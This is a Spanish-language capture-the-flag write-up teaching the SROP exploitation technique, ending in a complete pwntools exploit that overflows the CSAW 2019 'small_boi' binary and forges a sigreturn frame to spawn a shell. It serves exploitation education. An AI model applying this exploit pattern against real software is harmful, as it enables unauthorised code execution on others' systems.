Programacion Orientada a Sigreturn (SROP)

Table of contents

  1. Señales
    1. Funcion de las señales
    2. SROP
  2. Como funciona
  3. Explotacion
    1. Analizandolo
    2. Sacando el offset el RIP
    3. Sacando el gadget
  4. Exploit

Resolucion de un ejercicio aplicando la tecnica SROP, para ejecutar un sigcontext falso y conseguir una shell

Señales

Las señales son un mecanismo para enviar notificaciones asincrónicas directamente a un proceso o subproceso. Este se utilizan para matar procesos, para decirles que los temporizadores han expirado o para notificar sobre un comportamiento anormal.

Funcion de las señales

  1. Cuando se tiene un proceso previamente creado, lo que se hace primero es que el kernel envia una señal a ese proceso, el proceso se suspende temporalmente y entrara en el kernel

  2. Despues, el kernel guarda el contexto de ese proceso y salta al controlador de la señal (este ya debe de estar previamente definido)

  3. Cuando se vuelve e pasar el kernel, el controlador de la señal regresa, y el kernel restaura el contexto del proceso

  4. Ejecucion del proceso

Del paso 2 al 3 es la clave. SROP abusa de sigreturn() por que normalmente restaura el contexto del proceso despues de que regresa el controlador de señal, esto funciona mas o menos asi:

El kernel guarda el contexto del proceso en el stack del proceso, luego se usa la direccion de rt_sigreturn en el top del stack, esta direccion apunta a un fragmento de codigo en el que sigreturn() llamara a sistema. Despues del paso 3, el RSP o ESP apunta a rt_sigreturn y ejecuta el sigcontext

SROP

SROP es una variante de ROP, pero en esta solo se deben de cumplir dos condiciones

  1. Un gadget syscall; ret
  2. Una manera de poner 0xf en RAX o EAX

Dos de las formas mas usadas para poner 0xf en RAX son:

  1. Usar mov eax, 0xf
  2. Usar pop eax; ret

Ambas son faciles de implementar, ya que meten 0xf en una sola acccion. Y el 0xf simplemente es el syscall ID de rt_sigreturn.

Como funciona

Aun que es similar a ROP, no funcionan de la misma forma, SROP funciona poniendo en el call stack un sigcontext pero falso. y luego sobrescribir el RIP o EIP con la direccion de un gadget que permita llamar a sigreturn(), y se apunta a sigreturn() ya que este permite ejecutar el sigcontext, realmente esto es muy poderoso, ya que con SROP podemos controlar al mismo tiempo todos los valores de los registros. Y cuando digo sigcontext, me refiero a esto:

struct sigcontext_64 {
	__u64				r8;
	__u64				r9;
	__u64				r10;
	__u64				r11;
	__u64				r12;
	__u64				r13;
	__u64				r14;
	__u64				r15;
	__u64				di;
	__u64				si;
	__u64				bp;
	__u64				bx;
	__u64				dx;
	__u64				ax;
	__u64				cx;
	__u64				sp;
	__u64				ip;
	__u64				flags;
	__u16				cs;
	__u16				gs;
	__u16				fs;
	__u16				ss;
	__u64				err;
	__u64				trapno;
	__u64				oldmask;
	__u64				cr2;
	__u64				fpstate;
	__u64				reserved1[8];
};

Cuando el atacante crea un sigcontext falso, puede establecer cualquier valor de cada uno de esos registros

Explotacion

Para el ejemplo usare un clasico, smallboi de CSAW 2019

Al ejecutarlo simplemente se queda esperando un input y se cierra, y al tratar de desbordar el buffer vemos que si se puede:

[1] 423456 segmentation fault (core dumped) ./small_boi

Pero tiene NX asi que no podemos ejecutar una shellcode

Analizandolo

Al materlo al radare, vemos y hacer un pdf vemos algo como esto:

Esto simplemente es el entry point, y lo unico interesante es que en la direccion 0x004001b6 hace un llamado a fcn.0040018c, asi que vamos pa’ alla

Este es su codigo, basicamente el binario hacer una syscall de read(), la cual es la funcion que recibe nuestro input, la cual lee 0x200 bytes que vienen de var_20h

Sacando el offset el RIP

Esta es la parte mas sencilla, asi que realmente no requiere mucha explicacion, lo que hice fue:

  1. Usando pwndbg genere con cyclic 100 una secuencia de 100 caracteres que le pase como input al programa
  2. Usando cyclic -l y 8 bytes de el RSP obtuve su offset

Y bueno, el offset para llegar al RIP es 40

Sacando el gadget

El binario apenas si tiene instrucciones y por consiguiente apenas y tendra los gadgets que son usados comunmente jaja, asi que ahora queda mostrar los gadgets usando /R en radare, a ver que onda.

Despues de ver los gadgets nos encontramos con el que usaremos:

Aqui esta todo lo que ocupamos, este unico gadget hace las dos condiciones que mencion al principio, ya que establece a EAX el nuemero de la syscall equivalente a sigreturn() y la invoca. Tambien como mencione antes, en SROP se crear un sigcontext falso, asi que en esta caso haremos uno falso llamando a execve() con el arguemento /bin/sh

Para sacar /bin/sh simplemente podemos / /bin/sh y vemos que nos arroja algo como esto:

Donde la direccion de /bin/sh es la que esta seleccionada

Exploit

Al conseguir todo, nuestro exploit queda asi:

from pwn import *

context.arch = 'amd64'

p = process("./small_boi")

bin_sh = 0x4001ca
sigreturn = 0x400180
syscall = 0x400185

payload = b'A'*40
payload += p64(sigreturn)

frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload += bytes(frame)
p.send(payload)
p.interactive()

Y los valores salieron de aca:

Con SigreturnFrame Podemos crear un sigcontext falso, donde se establece rax a 59 (para execve), rdi a la dirección del /bin/sh, rsi y rdx ambos a 0, y rip hacia la syscall, esto con el fin de que la rt_sigreturn syscall cambie de contexto usando estos valores del falso sigcontext, llamando así a execve con /bin/sh. :point_up: 🤓

Y el ejecutarlo nos da la shell:

Eso ha sido todo, gracias por leer ❤